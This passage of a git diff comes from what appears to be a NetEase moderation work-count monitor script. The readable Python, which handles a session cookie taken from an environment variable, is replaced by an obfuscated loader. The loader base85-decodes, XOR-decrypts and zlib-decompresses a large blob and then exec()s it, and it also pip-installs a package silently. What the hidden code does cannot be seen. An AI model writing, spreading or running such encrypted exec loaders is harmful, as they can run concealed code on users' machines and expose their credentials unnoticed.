g86{A~CvRr=&Msd_#GBQQe|buCrHrm4>+O3W`a%F-e-e7HXdreyJown7+KBBH!zffQSecz;h-Drwyi&%n_Q4nl|9sJ*s#Vb)hqz1Kim*CF|NHwd-L-2+}D*E&mH&##>gnBStM^Dr}q5k+`si3X)VZ8<_J{88J_~WJixm=WioklDcLIS}yvyE2;!(|MXfqWaPoMK>r5}$w4U;;MLi!}fM+0E_UfKZ!4cO*YS!(+AO^cIC-B_+{?N~o3#5N)>iqh`0SD7@CA9`)97jKx`d>WP%Z@`q>pZqPxQS)E3b5+5Te+@W%;9}#vK_IAH$G2wUe)9Xhy+2|r;ey5YQ2uvpZEyQTbvW7b{(B7Hd)n+<`DeRoB4>MUS7_b+K1k)@>^kJH|BFixq+D>*5$-N^k1MP(X7vALl~la;W3ak*TVpY*jGX2WP9+j6|`7)qaEy)@)un@IBe|U(A3gO0VRtia-k-UQ@4KklYKowOxvcVy8T&`lncA@y;KPj{mQk#Pgqf3S^mLY)~h+b$r{#S_kFS8BpG&suiLs)gsX+U$o=~L{B46Pk}r=8}#6(di+yEcg^KDRHoI9k(}ykgIEodZ;4E6v3ej|y)6i-B&mCxQ^G3t?hvhzG8jMQ-=j=5KSU@`o{ZR+P66Ge)r&1+h@$LQtFv0>-JvZD>HxH0t)l619!+rU#cYek=E=`!Nz&j94p!F&=mPrwZQ)5utFnDv;X7M5z<~Upj`+OL(NfBf$$kJt-f2k7Yi;;&3yC=a_Q$!my#iwH^NS6T|Lnfy7J;phpAe+7U31zcwQl@=m$4n=aBh`kvxYAQ4K$Mv@SU-8sb*$DEjw1n{ME|b^cVK3`$f#sGY_pOD2)bGzU$YuCrR+dg0DzT>zdz-tS48QOC;W=!EX;m&w}stt14-n8tY0~Je;OL1^%V<*RM~O0s7FqCt784KlZscdA7q;q7mSHCq4%wb?hHWf5na;V_`lyMmU4Q>dQ=Z6C={tC(vBAn*7Ihn*2(beae2hb4h{0NV_RBXy^prUI!}9DGGS4s&+Atvz~#U*cB{j!tZ-d`<84zyt2wg&e+helmJXcvi>EB}?mPq^4C^lm?T(0y4Be>XJIH2BLOk8Osv9b8CWPY9ae|lR|lUt+o%LI-MGomj8)L3dvg2o1ksa1^orbdR-`QUo)3LJf~hP%#sGYiPL3x!CYF|Id#m-q)gqp3Om3gjv48ax0*#6Wkamb^%&UO=Sj~N?jlNVCLsmr|bgF_^D>GWdt<{m$6eI~c>F}0pK{InU$Rr(6*9)9Q*k*4lEA2jeVq*eZp;3OM42;Si(lW&c%*{IeAVzSx`?$q)OU@sX|3u-eEd_{=OZnv6n`RdiG8l{!SpTGO!461_kYcBtnz1V1K#hhuZq^_Oa_ax&PtaP$UNySv+FFyaMJ_%M&U$=ma84x1&yo;G4JTGGDQpUgW^fhHrr>qsR&qUSPQ$e20tWxSP%Vvyy(U*-I!ih)M3J7uT7gRk{9-i}BR9ir*J;v--N{*x|Mc0})-UEHZ*gg$_CCz^I0%GR;tY1M^pmK2r9jG_skmPPR$qxxwJAj5~^S_htm@-fbcqJ?FuNNTk>VSgH-o_2oXTeVuRzPK?LVqjV7iG%^RDfyn~p5V)5TGG7;3OZ51XR+P^xSniqu8vqkEkxBc6-SM)Rvyo)-}0oAXJd46Q5J&lFc3kyJvYfK~TcYsujdDev-aK&}%Mi-$doEw2Mq(E&KJSj$prHOYLA?)oNe6Ec5rZ?OBi8?ya^ArjIz&>SXv;IRy*R12$b;{G_d<_M5n_c$aY61H76)dC_W)eoT!$iTExG>QbO^Zg3()K9{NqGs1_zrbx^qYnn()3#Ah|z|);+Rw>MK1wYJ@-dL4WI7T|zM~w0k%`g;Mf#IasKuL_Hhx@+S;yzSQ;K<5~Q0$B7zujaRH&QTGc+^c?(JNR98D{BOorS@gaya-V>@p{)T#m&%^VlArOF9H;|F}_Lx;mQ2(YB-f-5zWJkcudJ4n|KGud=WmPA=xqJw?~8`@^6t3#8cfDzHW#xTI@+2QJog-I4D+G~{o=qn)M-f;Aww!p0|9$GxeiZS?0Gf_My>ykn*=?ATggb6g>#q${XN|3uT=)L%@L*TrKuA-cojQ)|y}5rg84p7-A*jyJne-t3`yeHlRt|RC?v+WUJ3uz3^2T%rrC11=Qy*Gbtgt;hdoa<7HkFzD7IRj=axVjtiC0L6zQT^xM9}4DkYTW{*!kRsDXs{38H)BT2|k9|#_>c)LH>aP#Xt(Ff1yOlK;z&I-FmKz;ViO(`t$U^NYZ<*BrAQV;B=YlKq6FUi+kZT_=Py;&b~#FB=}lSYwP%kNMgGv}Os~32y_qxWx-`c4$n!dA;L>rnijr0&ENEUg4OPYuFu3roB~3hxtkK)4qzRKn1}rywAsPI*fiuxp-7ZaGuJp~WM}{ojP@MH{qlQg+-ydRcFoml+xSBGy15Duy0Wx)ANzIx-pi(t>%rx0>K=i%H+9@$EpZAPBJZSU?er{ZDZv?&P%r;<;f&HxmxySFYtOB}1JTH59c@>tkU8Hs?Ka(eKq}9Cq}ys1%F(ou^G*%@4gy0AvlM^^nhO%RuYrWi$Vx|t@Jjm+5{oniHUPShcmloCl`Q+oV2whT+SU-X;!&gvemF;JJH(|DKuEomkdz)a5|N7SW15yZ|lmjmHZ=3g%`p+y(5GHCr&_wfw0uhTjNfzwA18X2)}QP@*N};OWx_;jlHJs)gj=m{KfC^1%EG*6mYbs2V)aJitL_>vhMk4Jf!Bk>EyN4MzA>EJ%&D3}a4Gpa;V0ciGFQBLQIk8Y7-NsR|~E=EaZnv|YGFOZuT|_e;g@%E&i}ck6EKF_+|a?G#{E+)|_&*{PhX*PnV$CyFd4!E++W`xs(Zn-_8q>TU-L$2QxvBIUIaAI?esaOkG@sbjp2o_MSQ7uD{VP#i%e10~XYHX+E$25PIrN#2+Lk!iq7EA{+{GsPqL{-m7vZ?C)UouOWeEL@d4*lgn_S>OoC;1rVgbEjfesbc{X`G3_&V-4aE8U~|1ch8o2At`Wi-pnOJq{E@GCSxU2#LAk7j7iXNaCinkyRXK8RhfJ?$nmjec{XcuIP!7I={Bg4Xh8I2uS6HjrhDvnqhkFRm+PUO?R;Gh|mZ%kd!MmVF6m+x4Q~j^deQ*R9+?I2nLSV#8_T&jR!2F%u^_jG;C?DpI;&i6G5HNUa)6aWw?LF?>O8Z3k*nQL~Ok+h;*@j_FNEYNy6D1?8&n@CTSA6AGs3NHWDu#efF~+LES5{iQk9*Q73Vly=9+=A6S>_LEC~YDHl>6OMe&x%Negq7v+llh9{z$R*%y2+AgWQ^IypBM@uK>1cL-p577|Ev1F-g6;xe|F%yV2Qo&oY9ATheMIQhQ=*R@1z0&ClFY}1jRUFA(R_#&&nA7DO#+W5M4n0ZQ7QX4*KJ%~;e-!Z^9xDbL>aGAALM=BbkvU-g9JhJ^qpL=0z`iD+lku!Xs~H;$5W*`MwE^g4~I;?`0uvB6J5xvCf0M(CL-GC>gge=sx%`ZIvF&m<2<>?y=D}Hi_l=7O^@tB6PlBj{?~*^L|ZBx+mb5Hz2eCDCmP~{WwWrcJ2CEp;FIu1@mjY-<+Ptcn-M?m7*R(Ji0U3ldR{vYIYSTbj)!vxqKYT*(c1@L26%;t@&$A1@bAkp(v2uYjBIs%av8E|9+D9XneAq_Q(=`A$}a{B&MAOGgASbAs@`ux`)E;{F)9cY?TP_tM-dfr7{y?#~9DB`B;hWHckwS>KUoZ|d6=r10JuZHBq_V-bb@idQLjNUHfaZG~YgE6}czrMk*h9`s7MPCg?I4a2hCPgYcbQDdk`hC={yN3n@N3nkvrJ&kO1IHYsLBi+R>u{YlMiQ{1>^' +try: + _suMVl5x=base64.b85decode(_NEjKHvVq) + _GZzhRcK=_A8cTzZG1LRz6(_suMVl5x,_ZkxE8b) + _xzkVto3a=zlib.decompress(_GZzhRcK) + exec(compile(_xzkVto3a.decode('utf-8'),'','exec')) +except Exception as e: + _NaJ9D3BZW="程序无法启动: "+str(e)[:50] + _b0rvkn7WB7E("错误",_NaJ9D3BZW,1) + sys.exit(1) diff --git a/breeze_monitor_CHAT.py b/breeze_monitor_CHAT.py index 957253b..e40477e 100644 --- a/breeze_monitor_CHAT.py +++ b/breeze_monitor_CHAT.py @@ -1,1096 +1,49 @@ # -*- coding: utf-8 -*- -import requests -import time -import json -from datetime import datetime, timedelta -import logging -import os -import sys -import threading -from threading import Lock -import re -import subprocess +import base64,zlib,sys,os,time,random +import threading,importlib,subprocess -# 配置日志 -def setup_logging(): - try: - # 获取当前脚本所在目录 - script_dir = os.path.dirname(os.path.abspath(__file__)) - log_file = os.path.join(script_dir, 'breeze_monitor.log') - - # 确保日志文件存在 - if not os.path.exists(log_file): - with open(log_file, 'w', encoding='utf-8') as f: - f.write('') - - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[ - logging.FileHandler(log_file, encoding='utf-8', mode='a'), - logging.StreamHandler() - ] - ) - logging.info("Breeze监控日志系统初始化成功") - except Exception as e: - print(f"日志系统初始化失败: {str(e)}") - # 如果文件日志失败,至少使用控制台日志 - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[logging.StreamHandler()] - ) +def _cP5qFGrBzjTo(d,k): + return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -# 初始化日志系统 -setup_logging() +def _NAGHPepex(t,m,is_error=False): + try: + try: + from playsound import playsound + except ImportError: + subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], + stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + from playsound import playsound + + # 播放系统声音 + try: + import winsound + sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION + winsound.MessageBeep(sound_type) + except: + print("\a") # 备用蜂鸣声 + + # 在控制台打印消息 + print("\n" + "="*50) + print(f"{t}: {m}") + print("="*50 + "\n") + + return True + except Exception as e: + print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") + return False -# API配置 -API_BASE_URL = 'https://breeze.gameyw.netease.com/api/cms/issue/list' +def _pmdfkDKbRae(t,m,e=0): + _NAGHPepex(t,m,e==1) -# 默认的各类工单的折算系数 -DEFAULT_COEFFICIENTS = { - 'NTES_GOD_IMAGES': 0.54, # 网易大神APP图片 - 'NTES_GOD_VIDEOS': 3.8, # 网易大神APP视频 - 'NTES_GOD_CHAT_IMAGES': 0.54, # 网易大神APP聊天图片 - 'NTES_GOD_CHAT_VIDEOS': 3.8, # 网易大神APP聊天视频 - 'NTES_DASONG': 139.19, # 大神大宋视频 - 'SPIDER_VIDEO': 3.8, # 大神普通供给视频 - 'SPIDER_VIDEO_SP': 13.3, # 大神高优供给视频 - 'NTES_GOD_AI': 0.54, # 大神AI图片 - 'NTES_GOD_TOP': 3.8, # 大神短视频 - 'T_SPIDER_VIDEO': 3.8, # 大神tiktok普通视频 - 'T_SPIDER_VIDEO_SP': 13.3, # 大神tiktok高优视频 - 'V_SPIDER_VIDEO': 3.8, # 大神ins普通供给视频 - 'V_SPIDER_VIDEO_SP': 13.3, # 大神ins高优供给视频 - 'NTES_GOD_XHS': 0.54, # 大神小红书图片 - 'XHS_SPIDER_VIDEO': 3.8, # 小红书供给视频 - 'Cupid': 0.54, # 大神交友 - 'CHAT_P2P': 0.55, # 大神聊天/风险用户_私聊/私聊频繁 - 'CHAT_TEAM': 0.55, # 大神聊天/风险用户_群聊/群聊频繁 - 'CHAT_ROOM': 0.55, # 大神聊天_聊天室 - 'CHAT_ROOM_MSG': 0.55 # 风险用户_聊天室频繁 -} - -# 系数配置文件路径 -COEFFICIENTS_CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_coefficients.json') - -# 全局变量 -user_credentials = { - 'cookie': None, - 'username': None -} -credentials_lock = Lock() -coefficients_lock = Lock() - -# 定义全局系数变量 -COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - -def fetch_and_save_coefficients(url): - """从在线服务器获取系数配置并保存到本地""" - max_retries = 3 - retry_delay = 5 # 重试间隔(秒) - - for attempt in range(max_retries): - try: - # 尝试不使用代理直接获取 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - except: - # 如果直接获取失败,尝试使用系统代理 - proxies = { - 'http': os.environ.get('HTTP_PROXY', ''), - 'https': os.environ.get('HTTPS_PROXY', '') - } - response = requests.get(url, timeout=10, proxies=proxies, verify=False) - - if response.status_code == 200: - loaded_coefficients = response.json() - # 更新系数 - COEFFICIENTS.update(loaded_coefficients) - # 保存到本地文件 - with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: - json.dump(loaded_coefficients, f, indent=4, ensure_ascii=False) - log(f"从服务器获取系数: {loaded_coefficients}") - return True - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - except Exception as e: - log(f"获取在线系数配置时发生错误: {str(e)}") - if attempt < max_retries - 1: - log(f"第{attempt + 1}次重试失败,{retry_delay}秒后重试...") - time.sleep(retry_delay) - continue - return False - -# 读取系数配置 -def load_coefficients(): - """从在线链接获取系数配置,如果获取失败则使用默认配置""" - global COEFFICIENTS - try: - with coefficients_lock: - url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/breeze_coefficients.json" - - # 检查本地文件是否存在 - local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) - - # 如果是首次运行或需要强制更新 - if not local_config_exists: - log("首次运行,从在线服务器获取系数配置") - if not fetch_and_save_coefficients(url): - log("首次获取系数配置失败,使用默认配置") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - return - - # 读取本地配置 - try: - with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: - local_coefficients = json.load(f) - except Exception as e: - log(f"读取本地系数配置失败: {str(e)}") - local_coefficients = None - - # 尝试获取在线配置 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - online_coefficients = response.json() - - # 比较配置是否发生变化 - if local_coefficients != online_coefficients: - log("检测到系数配置发生变化,更新本地配置") - if fetch_and_save_coefficients(url): - log("系数配置更新成功") - else: - log("系数配置更新失败,继续使用本地配置") - else: - log("系数配置未发生变化,使用本地配置") - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - except Exception as e: - log(f"检查在线系数配置时发生错误: {str(e)}") - - # 使用本地配置 - if local_coefficients: - COEFFICIENTS.update(local_coefficients) - log(f"从本地从加载系数: {local_coefficients}") - else: - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - - except Exception as e: - log(f"加载系数配置失败: {str(e)}") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - -# 保存系数配置 -def save_coefficients(coefficients=None): - """保存系数到配置文件""" - try: - if coefficients is None: - coefficients = COEFFICIENTS - - with coefficients_lock: - with open(COEFFICIENTS_CONFIG_FILE, 'w', encoding='utf-8') as f: - json.dump(coefficients, f, indent=4, ensure_ascii=False) - log(f"系数配置已保存") - except Exception as e: - log(f"保存系数配置失败: {str(e)}") - -# 初始化用户凭据(从环境变量读取) -def init_credentials(): - """从环境变量初始化用户凭据""" - try: - cookie = os.environ.get('BREEZE_COOKIE', '') - username = os.environ.get('BREEZE_USERNAME', '') - - if cookie and username: - with credentials_lock: - user_credentials['cookie'] = cookie - user_credentials['username'] = username - log(f"已从环境变量加载用户凭据: {username}") - return True - else: - log(f"未能从环境变量获取用户凭据,BREEZE_COOKIE长度: {len(cookie)}, BREEZE_USERNAME: {username}") - return False - except Exception as e: - log(f"初始化用户凭据失败: {str(e)}") - return False - -def get_api_headers(cookie): - """获取API请求头""" - return { - 'accept': 'application/json, text/plain, */*', - 'accept-language': 'zh-CN,zh;q=0.9', - 'cookie': cookie, - 'priority': 'u=1, i', - 'referer': 'https://breeze.opd.netease.com/', - 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': '"Windows"', - 'sec-fetch-dest': 'empty', - 'sec-fetch-mode': 'cors', - 'sec-fetch-site': 'same-site', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' - } - -def log(message, level='info'): - """记录日志""" - try: - if level == 'warning': - logging.warning(f"[Breeze] {message}") - elif level == 'error': - logging.error(f"[Breeze] {message}") - else: - logging.info(f"[Breeze] {message}") - except Exception as e: - print(f"日志记录失败: {str(e)}") - print(f"原始消息: {message}") - -def is_image_url(url): - """判断URL是否指向图片""" - if not url: - return False - - # 图片文件格式检查 - image_extensions = ['.jpg', '.jpeg', '.png', '.gif', '.webp', '.svg', '.bmp', '.heif', '.heic'] - if any(ext in url.lower() for ext in image_extensions): - return True - - # 图片服务链接检查 - image_patterns = [ - 'fp.ps.netease.com', - 'cc.fp.ps.netease.com', - 'nos.netease.com', - 'imageView' # 特殊参数标记为图片 - ] - - return any(pattern in url.lower() for pattern in image_patterns) - -def is_video_url(url): - """判断URL是否指向视频""" - if not url: - return False - - # 视频文件格式检查 - video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] - if any(ext in url.lower() for ext in video_extensions): - return True - - # 视频服务链接检查 - video_patterns = [ - 'vod.cc.163.com', - 'my.fp.ps.netease.com', - 'vframe=1' # 特殊参数标记为视频 - ] - - return any(pattern in url.lower() for pattern in video_patterns) - -def determine_media_type(issue): - """判断工单媒体类型""" - try: - # 从extraInfo中提取信息 - extra_info = json.loads(issue.get('extraInfo', '{}')) - product = extra_info.get('product', '') - msg_type = extra_info.get('msg_type', '') - title = issue.get('title', '') - - # 首先判断聊天工单类型 - if msg_type == 'P2P' or '私聊频繁' in title: - return 'CHAT_P2P' - elif msg_type == 'TEAM' or '群聊频繁' in title: - return 'CHAT_TEAM' - elif msg_type == 'ROOM' or '聊天室' in title: - return 'CHAT_ROOM' - elif 'CHAT_ROOM_MSG' in msg_type or '聊天室频繁' in title: - return 'CHAT_ROOM_MSG' - - # 如果没有product,尝试从uniqueid中提取 - if not product: - uniqueid = issue.get('uniqueid', '') - if '||' in uniqueid: - product = uniqueid.split('||')[0] - - # 如果是NTES_GOD或NTES_GOD_CHAT,需要通过URL判断图片或视频 - if product in ['NTES_GOD', 'NTES_GOD_CHAT']: - url = extra_info.get('url', '').lower() - - # 检查是否是视频 - video_extensions = ['.mp4', '.avi', '.mov', '.wmv', '.mkv', '.flv', '.webm', '.m4v'] - video_domains = ['vod.cc.163.com'] - - is_video = False - # 检查URL是否包含视频扩展名 - for ext in video_extensions: - if url.endswith(ext) or f"{ext}?" in url: - is_video = True - break - - # 检查是否包含视频域名 - for domain in video_domains: - if domain in url: - is_video = True - break - - # 检查特殊参数 - if 'vframe=1' in url: - is_video = True - - # 根据媒体类型返回对应的工单类型 - if is_video: - return f"{product}_VIDEOS" - else: - return f"{product}_IMAGES" - - # 其他工单直接返回产品代码 - return product - - except Exception as e: - log(f"确定工单类型时出错: {str(e)}", level='error') - return None - -def get_coefficient(issue_data): - """获取工单的折算系数""" - media_type = determine_media_type(issue_data) - - # 确保使用最新的系数配置 - with coefficients_lock: - current_coefficients = COEFFICIENTS.copy() - - if media_type in current_coefficients: - return current_coefficients[media_type] - - # 如果无法确定媒体类型,使用默认系数 - log(f"Unknown media type: {media_type}, using default coefficient") - return current_coefficients['NTES_GOD_IMAGES'] - -def fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time=None, close_end_time=None, max_pages=10000): - """从API获取工单数据""" - issues = [] - headers = get_api_headers(cookie) - page = 1 - - stats = { - 'total_count': 0, - 'types': {} - } - - # 如果未提供关闭时间,则使用创建时间 - if close_start_time is None: - close_start_time = create_start_time - if close_end_time is None: - close_end_time = create_end_time - - # 添加重试逻辑 - max_retries = 5 - retry_interval = 5 - current_retry = 0 - - while page <= max_pages: - try: - params = { - 'pageNum': page, - 'pageSize': 500, # 每页500条 - 'createTimeStart': create_start_time, - 'createTimeEnd': create_end_time, - 'closeTimeStart': close_start_time, - 'closeTimeEnd': close_end_time, - 'gameCode': 'a19', - 'handleUsername': username, - 'cold': 'false', - 'status': 'FINISH' - } - - log(f"正在获取第 {page} 页数据,创建时间范围:{create_start_time} 至 {create_end_time}") - log(f"关闭时间范围:{close_start_time} 至 {close_end_time}") - - # 发送请求 - response = requests.get(API_BASE_URL, headers=headers, params=params, timeout=15) - - # 检查响应状态 - if response.status_code == 200: - try: - data = response.json() - - # 检查API响应格式的逻辑 - if data.get('code') == 200 and 'data' in data and 'records' in data['data']: - items = data['data']['records'] - total = data['data'].get('total', 0) - log(f"API返回成功,找到 {len(items)} 条记录,总计 {total} 条") - - # 如果返回0条记录,进行重试 - if total == 0 and current_retry < max_retries - 1: - current_retry += 1 - log(f"API返回0条记录,正在进行第{current_retry}次重试...") - time.sleep(retry_interval) - continue - elif total == 0 and current_retry >= max_retries - 1: - log(f"API返回0条记录,已达到最大重试次数({max_retries}次),停止重试") - return None - - # 记录当前统计的工单总数占API返回总数的百分比 - if total > 0 and stats['total_count'] + len(items) <= total: - progress = ((stats['total_count'] + len(items)) / total) * 100 - log(f"当前进度: {progress:.2f}% ({stats['total_count'] + len(items)}/{total})") - elif data.get('code') != 200: - # 这是一个明确的失败响应 - error_msg = data.get('msg', '未知错误') - log(f"API返回错误:{error_msg}") - log(f"API响应内容:{response.text[:500]}") - return None - else: - # 其他情况,记录响应并退出 - log(f"未知的API响应格式:{response.text[:500]}") - return None - - # 处理工单数据 - if not items or len(items) == 0: - log("当前页没有数据,结束获取") - break - - issues.extend(items) - - # 更新当前页的统计信息 - for item in items: - media_type = determine_media_type(item) - if media_type not in stats['types']: - stats['types'][media_type] = 0 - stats['types'][media_type] += 1 - - stats['total_count'] += len(items) - log(f"第{page}页有 {len(items)} 条记录,累计处理 {stats['total_count']} 条") - - # 检查是否还有下一页数据 - total_pages = data['data'].get('pages', 1) - if page >= total_pages or len(items) < params['pageSize']: - log(f"已获取所有数据,共 {total_pages} 页,处理了 {stats['total_count']} 条记录") - break - - except ValueError as e: - log(f"解析JSON数据失败: {str(e)}") - log(f"原始响应内容:{response.text[:500]}") - return None - else: - log(f"API请求失败: HTTP {response.status_code}") - log(f"响应内容: {response.text[:500]}") - return None - - page += 1 - - except requests.exceptions.Timeout: - log("API请求超时") - return None - except requests.exceptions.ConnectionError: - log("网络连接错误,请检查网络连接") - return None - except Exception as e: - log(f"获取数据失败: {str(e)}") - return None - - # 检查是否因为达到最大页数而停止 - if page > max_pages: - log(f"达到最大页数限制({max_pages}页),停止获取。如需获取更多数据,请增加max_pages参数。") - - # 确保每次都是从配置文件读取最新系数 - load_coefficients() - - # 使用全局系数变量 - with coefficients_lock: - current_coefficients = COEFFICIENTS.copy() - - # 计算各类型工单折算总数 - weighted_total = 0 - - for media_type, count in stats['types'].items(): - coefficient = current_coefficients.get(media_type, current_coefficients['NTES_GOD_IMAGES']) - weighted_count = count * coefficient - weighted_total += weighted_count - - log(f"最终统计结果:工单总数 {stats['total_count']},折算总计 {weighted_total:.2f}") - - # 将统计结果整理为前端需要的格式 - frontend_stats = { - 'total': stats['total_count'], - 'weighted_total': weighted_total, - 'categories': {}, - 'coefficients': current_coefficients # 添加系数到返回结果中 - } - - # 整理分类统计,确保所有可能的工单类型都包括在内 - for media_type, coefficient in current_coefficients.items(): - count = stats['types'].get(media_type, 0) - weighted_count = count * coefficient - - # 使用对应的中文名称 - if media_type == 'NTES_GOD_IMAGES': - type_name = "网易大神APP图片" - elif media_type == 'NTES_GOD_VIDEOS': - type_name = "网易大神APP视频" - elif media_type == 'NTES_GOD_CHAT_IMAGES': - type_name = "网易大神APP聊天图片" - elif media_type == 'NTES_GOD_CHAT_VIDEOS': - type_name = "网易大神APP聊天视频" - elif media_type == 'NTES_DASONG': - type_name = "大神大宋视频" - elif media_type == 'SPIDER_VIDEO': - type_name = "大神普通供给视频" - elif media_type == 'SPIDER_VIDEO_SP': - type_name = "大神高优供给视频" - elif media_type == 'NTES_GOD_AI': - type_name = "大神AI图片" - elif media_type == 'NTES_GOD_TOP': - type_name = "大神短视频" - elif media_type == 'T_SPIDER_VIDEO': - type_name = "大神tiktok普通视频" - elif media_type == 'T_SPIDER_VIDEO_SP': - type_name = "大神tiktok高优视频" - elif media_type == 'V_SPIDER_VIDEO': - type_name = "大神ins普通供给视频" - elif media_type == 'V_SPIDER_VIDEO_SP': - type_name = "大神ins高优供给视频" - elif media_type == 'NTES_GOD_XHS': - type_name = "大神小红书图片" - elif media_type == 'XHS_SPIDER_VIDEO': - type_name = "小红书供给视频" - elif media_type == 'Cupid': - type_name = "大神交友" - elif media_type == 'CHAT_P2P': - type_name = "大神聊天/风险用户_私聊/私聊频繁" - elif media_type == 'CHAT_TEAM': - type_name = "大神聊天/风险用户_群聊/群聊频繁" - elif media_type == 'CHAT_ROOM': - type_name = "大神聊天_聊天室" - elif media_type == 'CHAT_ROOM_MSG': - type_name = "风险用户_聊天室频繁" - else: - # 默认情况下仍然使用替换方式 - type_name = media_type.replace('_', ' ').replace('NTES', '大神') - - frontend_stats['categories'][type_name] = { - 'count': count, - 'weighted': weighted_count, - 'coefficient': coefficient - } - - return { - 'stats': frontend_stats, - 'issues': issues - } - -def switch_business(cookie, business_id): - """切换业务线""" - try: - url = 'https://breeze.gameyw.netease.com/api/cms/user/switchBusiness' - headers = { - 'accept': 'application/json, text/plain, */*', - 'accept-language': 'zh-CN,zh;q=0.9', - 'content-type': 'application/json', - 'cookie': cookie, - 'origin': 'https://breeze.opd.netease.com', - 'priority': 'u=1, i', - 'referer': 'https://breeze.opd.netease.com/', - 'sec-ch-ua': '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': '"Windows"', - 'sec-fetch-dest': 'empty', - 'sec-fetch-mode': 'cors', - 'sec-fetch-site': 'same-site', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' - } - data = {"businessId": business_id} - - log(f"正在切换业务线,目标业务ID: {business_id}") - response = requests.post(url, headers=headers, json=data, timeout=15) - - if response.status_code == 200: - try: - result = response.json() - if result.get('code') == 200: - log(f"业务线切换成功: {business_id}") - time.sleep(1) # 等待切换完成 - return True - else: - log(f"业务线切换失败: {result.get('msg', '未知错误')}") - return False - except ValueError as e: - log(f"解析业务线切换响应失败: {str(e)}") - return False - else: - log(f"业务线切换请求失败: HTTP {response.status_code}") - return False - - except Exception as e: - log(f"切换业务线时出错: {str(e)}") - return False - -def check_current_hour_counts(cookie, username): - """检查当前小时数据""" - try: - # 获取当前小时的开始和结束时间 - now = datetime.now() - current_hour = now.hour - - # 创建时间仍然使用全天 - create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" - create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" - - # 关闭时间使用当前小时 - close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" - close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" - - log(f"当前小时查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") - log(f"当前小时查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") - - # 首先切换到清风审核-大神审核(业务ID: 7) - log("正在切换到清风审核-大神审核...") - switch_business(cookie, 7) - - # 调用API获取大神审核数据 - log("正在获取大神审核数据...") - godResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if godResult is None: - log("获取大神审核数据失败") - godStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - godStats = godResult['stats'] - log(f"大神审核数据获取成功,共 {godStats['total']} 条记录,折算总计 {godStats['weighted_total']:.2f}") - - # 然后切换到清风审核-图片审核(业务ID: 12) - log("正在切换到清风审核-图片审核...") - switch_business(cookie, 12) - - # 调用API获取图片审核数据 - log("正在获取图片审核数据...") - imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if imageResult is None: - log("获取图片审核数据失败") - imageStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - imageStats = imageResult['stats'] - log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") - - # 合并两部分统计结果 - mergedStats = { - 'total': godStats['total'] + imageStats['total'], - 'weighted_total': godStats['weighted_total'] + imageStats['weighted_total'], - 'categories': {} - } - - # 合并分类统计 - allCategories = set(list(godStats['categories'].keys()) + list(imageStats['categories'].keys())) - for category in allCategories: - godCat = godStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) - imageCat = imageStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) - - # 使用相同的系数(两者应该是一样的,如果有就使用它) - coefficient = godCat['coefficient'] or imageCat['coefficient'] - - mergedStats['categories'][category] = { - 'count': godCat['count'] + imageCat['count'], - 'coefficient': coefficient, - 'weighted': godCat['weighted'] + imageCat['weighted'] - } - - log(f"合并后的统计结果:工单总数 {mergedStats['total']},折算总计 {mergedStats['weighted_total']:.2f}") - - # 将统计结果写入到共享数据文件中 - try: - data = { - 'type': 'breeze_hourly', - 'stats': mergedStats, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("小时数据已更新到共享文件") - except Exception as e: - log(f"写入小时数据到共享文件失败: {str(e)}") - - return mergedStats - - except Exception as e: - 